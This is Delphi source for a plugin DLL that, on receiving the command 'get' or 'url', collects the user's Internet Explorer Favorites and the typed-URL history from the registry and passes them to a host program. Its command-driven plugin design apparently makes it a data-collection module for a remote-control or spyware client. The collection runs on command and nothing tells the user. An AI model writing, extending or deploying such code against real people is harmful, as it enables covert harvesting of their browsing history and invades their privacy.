library internet;

uses   Registry,
  windows,
  SysUtils,
  Classes,
  ShlObj;


type
    pluginreply = procedure (Text: pchar);

const
clientdllname:pchar='inter.dll';
var
  OwnerAPP:integer;
   g:string;

procedure Init(Owner: Integer); far
begin
  OwnerAPP := Owner;
end;

procedure plugin_reply (cmd:string);
begin
//send message to the client plugin
pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+cmd));
end;


// Separates values: value1,value2,value3,value4,
function getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;

function ShowTypedUrls : String;
var
Reg: TRegistry;
S: TStringList;
i: Integer;
cStringList:TStringList;
begin 
Reg := TRegistry.Create;
cStringList := TStringList.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('Software\Microsoft\Internet Explorer\TypedURLs', False) then
begin
S := TStringList.Create;
try
reg.GetValueNames(S);
for i := 0 to S.Count - 1 do
begin
cStringList.Add(reg.ReadString(S.Strings[i]));
end;
finally
S.Free;
end;
Reg.CloseKey;
end;
finally
Reg.Free;
end;
Result := cStringList.Text;
cStringList.Clear;
end;




function GetIEFavourites(const favpath: string): TStrings;
var
searchrec: TSearchrec;
str:       TStrings;
path, dir, filename: string;
Buffer:    array[0..2047] of char;
found:     integer;
begin 
str   := TStringList.Create;
//Get all file names in the favourites path
path  := FavPath + '\*.url';
dir   := ExtractFilepath(path);
found := FindFirst(path, faAnyFile, searchrec);
while found = 0 do
begin
//Get now URLs from files in variable files
SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',
PChar('URL'), nil, Buffer, SizeOf(Buffer), PChar(dir + searchrec.Name)));
str.Add(filename);
found := FindNext(searchrec);
end;
//unterordner finden
found := FindFirst(dir + '\*.*', faAnyFile, searchrec);
while found = 0 do
begin
if ((searchrec.Attr and faDirectory) > 0) and (searchrec.Name[1] <> '.') then
str.AddStrings(GetIEFavourites(dir + '\' + searchrec.Name));
found := FindNext(searchrec);
end;
FindClose(searchrec);
Result := str;
end;

function GetFavourites:String;
var
pidl:    PItemIDList;
FavPath: array[0..MAX_PATH] of char;
cStringList: TStringList;
begin
cStringList := TStringList.Create;
SHGetSpecialFolderLocation(0, CSIDL_FAVORITES, pidl);
SHGetPathFromIDList(pidl, favpath);
cStringList.AddStrings(GetIEFavourites(StrPas(FavPath)));
Result := cStringList.text
end;




procedure process(cmd:string);
begin
//===============================================
if getvalues(cmd,1) = 'get' then
begin
plugin_reply(GetFavourites+',');
end;
//==================================================
if getvalues(cmd,1) = 'url' then
begin

plugin_reply(ShowTypedUrls+',');
end;

end;

procedure plugin(data:pchar); far;
begin
process(data);
end;

procedure DLLEntryPoint(dwReason: DWORD);
begin
//blank
end;

exports
init,plugin;

begin
  DLLProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.